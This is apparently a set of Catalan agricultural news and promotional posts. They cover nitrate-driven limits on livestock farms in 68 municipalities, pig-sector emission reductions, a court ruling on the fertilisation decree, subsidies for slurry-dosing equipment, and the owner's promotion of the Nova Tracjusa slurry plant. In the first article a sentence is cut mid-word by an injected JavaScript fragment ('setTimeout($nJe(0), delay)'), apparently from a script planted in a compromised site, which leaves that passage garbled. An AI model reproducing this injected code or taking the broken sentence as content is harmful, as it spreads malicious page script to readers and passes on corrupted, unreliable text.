El Govern limita quatre anys més el creixement de les granges a les zones amb més concentració de bestiar

Es tracta de 68 municipis amb un gran nombre d’explotacions i amb l’aigua contaminada pels nitrats procedents dels purins. A la demarcació de Lleida els municipis afectats son: Belmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Volanova de Bellpuig i Soses

El Govern ha aprovat el Decret llei que allarga durant quatre anys més la limitació d’ampliar i d’instal·lar noves granges a les zones de Catalunya amb un gran nombre d’explotacions i aigües contaminades per nitrats procedents dels purins. En concret es tracta de 68 municipis amb presència excessiva de nitrats a les aigües d’aquestes àrees.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural persegueix l’objectiu d’evitar l’excedent de purins, és a dir, que les granges existents puguin gestionar les dejeccions d’una manera més eficient i adoptin sistemes de tractament i valoritzin aquests fertilitzants naturals sense que augmenti la pressió en la gestió per un increment del nombre d’animals que es crien en aquestes zones.

A Catalunya, hi ha aproximadament uns vuit milions de porcs, 700.000 caps de boví i 38 milions d’aus que generen cada any uns 17 milions de tones de purins i 4,4 milions de tones de fems i gallinasses.

Des de l’any 1998, l’Agència Catalana de l’Aigua analitza l’evolució de la qualitat de l’aigua i els nitrats en les aigües subterrànies i superficials mitjançant més de 500 punts de control. L’evolució de la contaminació no només no s’ha resolt, sinó que ha empitjorat progressivament. Actualment, un 40,3% de la superfície total de Catalunya està declarada vulnerable a la contaminació per nitrats d’origen agrari, cosa que afecta 465  municipis, és a dir, un 49% de tots els municipis catalans.

Els 68 municipis inclosos a la limitació que ha aprovat el Govern estan per sobre de l’1,2 d’Índex de Càrrega Ramadera, que es calcula d’acord amb la producció total de quilograms de nitrogen que produeixen els caps de bestiar en relació amb la superfície agrícola municipal que l’ha d’absorbir. En aquests municipis, ja hi ha 105 explotacions que disposen d’algun sistema de tractament, cosa que suposa la gestió del 34% dels excedents de purins. A bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el 50% dels excedents, els tracten empreses especialitzades en residus. Actualment, per tant, encara hi ha un 16% d’excedent de nitrogen procedent dels purins que s’ha d’exportar (amb les corresponents emissions de diòxid de carboni) per a fer-ne una gestió correcta.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural promou la valorització de les dejeccions com a recurs dins d’un esquema de bioeconomia circular basada en el foment del compostatge i de la fertilització orgànica d’excel·lència, ajustada a les necessitats dels cultius. Tot això amb una aplicació feta amb maquinària adequada i, fins i tot, quan calgui, l’exportació dels excedents de nutrients. 

Font: DACC

El sector porcí redueix més d’un 41% les emissions GEI derivades de la gestió dels purins

  • Les emissions de metà es redueixen en un 37,5% i les d’òxid nitrós en un 38,02%
  • La reducció d’emissions GEI per gestió de fems des de l’any 2005 es deu en bona mesura a el desenvolupament d’unes pautes d’alimentació molt ajustades per a cada animal

En el període 2005-2019 el sector porcí de capa blanca espanyol ha reduït un 41,2% les seves emissions de gasos d’efecte hivernacle derivades dels sistemes de gestió de fem del bestiar porcí, segons les dades de l’últim informe d’Inventari Nacional gasos d’efecte hivernacle (març 2021).

Interporc destaca l’esforç realitzat per les granges de porcí espanyoles, que l’any 2005 emetien 1 kilotonelada de CO2 per cada 524 tones de carn produïdes, mentre que l’any 2019 van emetre 1 kilotonelada de CO2 per cada 891toneladas de carn produïdes.

Així mateix, per tipus d’emissions derivades de la gestió de fems, es redueixen tant les de metà -en un 37,5% – com les d’òxid nitrós, en un 38,02%.

És a partir d’l’any 2005 quan la reducció de les emissions comença a fer-se molt patent deguda, en bona mesura, a el desenvolupament d’unes pautes d’alimentació molt ajustades per animal.

En els últims anys el sector ha substituït progressivament en l’alimentació dels animals, ingredients rics en fibra i de baixa digestibilitat per cereals, i ha augmentat la quantitat i qualitat de proteïnes, així com ha incorporat aminoàcids sintètics i enzims digestius, el que ha afavorit la digestibilitat en la dieta i redueix de forma considerable les emissions GEH derivades de les excrecions.

Any rere any, el sector porcí avança en els seus objectius per assolir un impacte climàtic neutre de cara a 2050. Per aconseguir-ho, no només compleix amb la normativa més exigent de el món en el respecte a l’entorn, que és l’europea, sinó que a més treballa minuciosament per, entre altres qüestions: reduir les seves emissions GEH, fer un ús més eficient de l’aigua o disminuir el consum d’energia o la generació de plàstics no reutilitzables, residus o deixalles.s

Guanyen parcialment el recurs contra el Decret de fertilització per la limitació de noves explotacions i ampliacions que apliquin dejeccions en zones vulnerables

Font d’informació article: Unió de pagesos

Unió de Pagesos celebra que la Sala Contenciosa Administrativa del Tribunal Superior de Justícia de Catalunya (TSJC) hagi estimat parcialment el recurs contenciós administratiu interposat pel sindicat l’octubre del 2019 contra el Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

El TSJC ha considerat nul l’apartat segon de la Disposició Transitòria Primera que establia que si transcorregut un any des de la propera modificació o l’ampliació de les designacions de zones vulnerables, el Govern no revisava el programa d’actuació en aquestes zones, aquest seguia vigent sense permetre la implantació de noves explotacions ramaderes ni ampliacions de capacitat de les existents que apliquin dejeccions ramaderes en els municipis designats com a zones vulnerables.

En el recurs, el sindicat va denunciar que considerava arbitrari que la inacció de l’Administració en la revisió o l’ampliació del programa d’actuació de les zones vulnerables, després d’un any del seu venciment, comportés més limitacions a les explotacions ramaderes que les previstes en el nou decret. Aquest ja limita en pocs supòsits les possibilitats d’ampliació o implantació de noves explotacions que apliquin dejeccions en zona vulnerable. Pel que fa a aquesta qüestió, el TSJC ha considerat que “aquest règim, més costós que l’establert en el propi Decret, no té empara legal i es troba absolutament immotivat, mes enllà de pretendre ser justificat, basant-se l’incompliment per part de l’Administració de les seves pròpies obligacions, pel que el recurs ha de ser estimat en part, i anul·lar-se l’apartat 2n d’aquesta disposició transitòria primera.”

El sindicat segueix treballant per incorporar millores en la propera revisió del Decret i, paral·lelament, en la promulgació d’un decret llei per deixar sense efecte determinades obligacions en les zones no vulnerables i ajustar-lo estrictament a les obligacions europees en aquestes matèries, a més de deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

Nova convocatòria dels ajuts per a adquirir equips que permetin calcular i aplicar la dosi adequada de purins

Aquests ajuts s’emmarquen en un model de gestió de les dejeccions ramaderes amb la finalitat d’assegurar la qualitat dels sòls i de les aigües subterrànies del país, a la vegada que es garanteix la viabilitat i la sostenibilitat de les explotacions ramaderes i del sector carni català.

El Departament d’Agricultura, Ramaderia, Pesca i Alimentació (DARP) ha convocat, per a l’any 2020, els ajuts de minimis per a l’adquisició d’equips de mesura de la concentració de nutrients i/o equips electrònics de dosificació en cisternes d’aplicació o basses de purí. El pressupost d’aquests ajuts per a l’any 2020 s’ha incrementat en relació a l’anterior convocatòria, de 2019, fins a assolir els 220.000 euros, amb un percentatge de subvenció que pot arribar fins al 60-70% de la inversió en funció de l’actuació realitzada. 

Els ajuts estan destinats a millorar la gestió agrària i mediambiental dels purins generats a les explotacions catalanes, mitjançant una de les actuacions següents:

-L’adquisició i instal·lació en cisternes d’aplicació de purí, o en basses de purí, d’equips de mesura de la concentració de nutrients (conductímetres o NIR- Near-infrared Spectroscopy-).

-L’adquisició i instal·lació en cisternes d’aplicació de purí, d’equips electrònics de dosificació de l’aplicació de purins (amb cabalímetres, electrovàlvules, conductímetre).

Així, aquests ajuts s’emmarquen en un model de gestió de les dejeccions ramaderes amb l’objectiu d’assegurar la qualitat dels sòls i de les aigües subterrànies del país, a la vegada que es garanteix la viabilitat i la sostenibilitat de les explotacions ramaderes i del sector carni català.

Aquest model està basat en la valorització de les dejeccions com a recurs, amb una fertilització ajustada a les necessitats dels cultius i una aplicació feta amb tecnologies més avançades en maquinària per a l’aplicació de dejeccions, i, fins i tot, quan calgui, en l’exportació dels excedents de nutrients.

La instal·lació dels esmentats equips permetrà a les explotacions ramaderes conèixer, a temps real, el contingut de nitrogen dels purins i poder aplicar la dosi adequada als camps de conreu. Aquestes tecnologies contribueixen a millorar l’eficiència en l’ús dels nutrients, evitant, així, sobrefertilitzacions que podrien acabar provocant un excés de nitrats impossible d’absorbir pel cultiu.

Per a poder optar a l’ajut, l’adquisició i instal·lació dels equips s’ha d’haver efectuat en el període comprès entre l’1 de gener de 2020 i el 15 d’octubre de 2020, i la sol·licitud s’ha de presentar entre el 15 de setembre i el 15 d’octubre de 2020, ambdós inclosos.

Cal recordar que ara fa un any de l’entrada en vigor del decret de gestió de les dejeccions ramaderes, amb el desplegament del qual, s’està produint un canvi profund dels sistemes d’aplicació del purí.

 

Font DARP

Nova Tracjusa, gestió responsable i sostenible de les dejeccions ramaderes a les Garrigues

  • Futur,  per al desenvolupament econòmic del conjunt de les Garrigues
  • Respecte, amb la salut de les persones i el medi natural
  • Sostenibilitat, per al tractament de les dejeccions ramaders de les Garrigues
  • Valorització, nova vida per als residus.

Què farem?

Transformar les dejeccions ramaderes de les nostres granges en un adob orgànic de qualitat.

Què canvia respecte a l’anterior model?

Substituirem l’actual font de calor, ara amb gas natural, per un altra obtinguda a partir de la gasificació de combustibles derivats de residus urbans, una vegada higienitzats i estabilitzats. Un procés respectuós amb la salut i el medi ambient.

Què és la gasificació

Mitjançant la gasificació es transforma un material sòlid (en aquest cas un CDR) en un producte gasós, que servirà per generar la calor necessària (vapor) per assecar els purins.

S’utilitzarà un sistema totalment contrastat, eficaç i respectuós amb les persones i el medi ambient.

A la planta es realitzarà una biodigestió de purins i assecatge mitjançant l’aprofitament de la calor útil derivada del procés de gasificació de residus urbans ja tractats (CDR) i del propi biogàs del biodigestor.

La salut i la seguretat, la nostra prioritat

El projecte compta amb la resolució provisional favorable de la Generalitat de Catalunya. En aquest sentit, cal destacar que els diferents informes han estat emesos per tècnics de la Generalitat (Salut, Territori i Sostenibilitat, Agricultura, ACA…) Es disposa també d’un dictamen ambiental, territorial i energètic favorable de l’Estudi Ramon Folch & Associats, un dels més prestigiosos en la matèria a Catalunya.

Estimem, vivim i treballem amb les nostres famílies a les Garrigues; per això, podem garantir que a la Nova Tracjusa prioritzarem la protecció de la salut de les persones i el territori. 

Sistemes de control

La planta implementarà un sofisticat sistema de seguretat per tal d’evitar qualsevol situació de risc i funcionarà d’acord a una estricta normativa i controls mediambientals supervisats en tot moment per la Generalitat de Catalunya.

Posarem a l’abast de tothom els mitjans necessaris per poder comprovar que la planta compleix amb els paràmetres de control d’emissions de partícules.

Economia Circular

La planta facilitarà la valorització energètica dels residus (CDR), transformant un material sòlid, que altrament es soterraria en un abocador, en un gas. Així mateix, aconseguirem una millor valorització dels purins com adob orgànic mitjançant la seva transformació en un granulat que retornarà als camps de conreu.

Reduir + reutilitzar + reciclar + REVALORITZAR

Al GAP creiem fermament en la necessitat de reduir la producció de residus, en la reutilització dels materials i en el reciclatge. Per això, anem més enllà en la gestió responsable dels residus transformant-los en energia utilitzant els anomenats CDR.

Amb la gasificació dels CDR, donem nova vida a un producte, evitem els problemes que podrien generar aquests residus si acaben en un abocador, la pitjor opció a l’hora de gestionar residus, i estalviem dineres als contribuents en la gestió  dels mateixos (a partir de 2020, d’acord amb la normativa europea es penalitzarà amb importants cànons econòmics l’ús dels abocadors).

Què són els CDR?

Els Combustibles Derivats de Residus s’obtenen a partir de la selecció i el tractament de residus i serveixen per substituir un combustible fòssil, una vegada estabilitzats i higienitzats. Són un producte homologat, procedent d’una planta de tractament de residus. A Nova Tracjusa s’utilitzaran CDR formats, fonamentalment, per restes no reciclables ni reutilitzables de fusta, cartró, plàstic, cautxú procedents de residus sòlids urbans

 

Procedència dels CDR

La nostra voluntat és utilitzar CDR procedents de dipòsits controlats de proximitat homologats per a tal fi i certificats com a residus no perillosos. 

 

Propietat de les instal·lacions

Les plantes de tractament de dejeccions ramaderes Tracjusa i VAG  són propietat de Gestió Agroramadera de Ponent SCCL (GAP Cooperativa)

Beneficis per la comarca

  • Dinamització de l’economia.
  • Els beneficis generats per la planta a Nova Tracjusa revertiran en la comarca mitjançant la millora de la gestió de les dejeccions ramaderes, i col·laborant en projectes socials, culturals, esportius etc i donant suport econòmic directe a nous projectes d’economia real impulsats a les Garrigues.
  • Estalvi per als municipis derivats d’un menor us dels abocadors
  • Generació de llocs de treball qualificats
  • Reducció de la contaminació d’aqüífers
  • Fixar la població al territori
  • Futur per a les explotacions ramaderes i la pagesia de la comarca.

 

SI A NOVA TRACJUSA – DIPTIC INFORMATIU PROJECTE

Un projecte impulsat per més 150 famílies de pagesos i pageses compromesos amb el territori, que viuen i treballen, dia rere dia, a les Garrigues

Reunió informativa sobre el projecte Nova Tracjusa amb els socis de GAP Cooperativa

La sala “la Farinera” de Juneda va acollir el passat dimarts 13 d’agost una nova reunió informativa relacionada amb el projecte Nova Tracjusa, convocada pel GAP, propietari únic de les plantes VAG i Tracjusa. Aquesta xerrada forma part de tot un seguit d’accions programades per Gestió Agroramadera de Ponent amb l’objectiu de donar a conèixer i aclarir, amb dades fefaents i contrastades, qualsevol dubte que la ciutadania pugui tenir al respecte d’aquest projecte, cabdal per al futur de la gestió de les dejeccions ramaderes a les Garrigues.

Durant més de dos hores, Eduard Cau, president del GAP Cooperativa i Joan Solé, Doctor en Enginyeria Agrònoma i expert en la posada en marxa de projectes de gasificació mitjançant Combustibles Derivats de Residus -com el proposat per la Nova Tracjusa- van explicar amb detall als assistents, en aquesta ocasió socis i socies de la cooperativa, diferents aspectes vinculats amb el projecte, tant pel que fa al funcionament de la planta com per la seva interacció amb el territori i les persones.

En el decurs d’aquesta trobada es van explicar i aclarir totes les consultes plantejades pels ramaders i ramaderes presents, especialment les relacionades amb la possible afectació envers les persones i el territori derivades de la posada en funcionament de la planta. En aquest sentit, es va mostrar amb dades contrastades i estudis fidedignes que el projecte Nova Tracjusa no comporta riscos per a les persones ni el medi natural, essent, fins i tot, més respectuós que l’actual model de funcionament de les plantes de tractament de dejeccions ramaderes VAG i Tracjusa, propietat única de GAP Cooperativa. De fet, el nou projecte no representa un modificació substancial respecte a l’actual model, ja que el canvi que es proposa és la substitució de l’actual font de calor, ara amb gas natural, per un altra obtinguda a partir de la gasificació de combustibles derivats de residus de plantes de tractament de residus urbans, una vegada higienitzats i estabilitzats; és a dir, mitjançant un procés de transformació d’un producte sòlid CDR –sotmès a una homologació específica-, en un combustible gasós.

Els responsables del GAP també van explicar que aquest sistema aporta una millora pel que fa la gestió de residus, ja que suposa la valorització d’un producte, que d’un altra manera aniria a parar a un dipòsit controlat (abocador), sent aquesta última la pitjor opció dintre de la jerarquia de la gestió de residus. La normativa de la Unió Europea, que entrarà en vigor l’any 2020, és molt restrictiva respecte a l´ús dels abocadors per aquest motiu el seu ús es veurà gravat per forts cànons. Així mateix, van destacar que en cap cas el projecte es pot assimilar a una incineradora de RSU, ja que no crema les escombraries; també van recordar que la instal·lació no produirà ni males olors, ni fums que puguin perjudicar la salut de les persones.

 

Degut a la preocupació generada en la població per la difusió d’algunes informacions al respecte de possibles efectes negatius per la salut o el medi ambient derivades de la posada en marxa de Nova Tracjusa, es va fer especial èmfasi sobre el fet de que aquest projecte compta amb la resolució provisional favorable de la Generalitat -Salut, Territori i Sostenibilitat, Agricultura, ACA…-. A més d’aquestes resolucions favorables, dictaminades per tècnics de la Generalitat competents en la matèria; la viabilitat de la planta, en tots els aspectes, també està contrastada per altres fonts externes com l’estudi elaborat per l’enginyeria de Ramon Folch&Associats, una de les més pretigioses de Catalunya en aquestes qüestions. Unes consideracions, que els promotors de Nova Tracjusa (GAP Cooperativa) valoren com la constatació de que el projecte no comporta un risc, ni real ni evident, per al medi ambient ni la salut de les persones, en respectar i complir d’una manera escrupolosa amb tota la normativa aplicable a aquests tipus de plantes, que a Catalunya ja funcionen des de fa temps, amb la mateixa tecnologia que la proposada per Nova Tracjusa, amb total normalitat i sense cap afectació per la salut ni la qualitat de l’aire ni el conjunt del territori.

En el decurs dels propers mesos, els responsables de GAP Cooperativa tenen prevista la realització de diferents xerrades informatives adreçades al conjunt de la ciutadania per explicar i aclarir qualsevol dubte al respecte del projecte Nova Tracjusa, així com la celebració de jornades de portes obertes a la planta, edició de material informatiu, etc. La primera trobada tindrà lloc el proper dimarts dia 20 d’agost a Juneda a les 20:30 hores –Espai La Farinera, passatge Cooperativa 9-.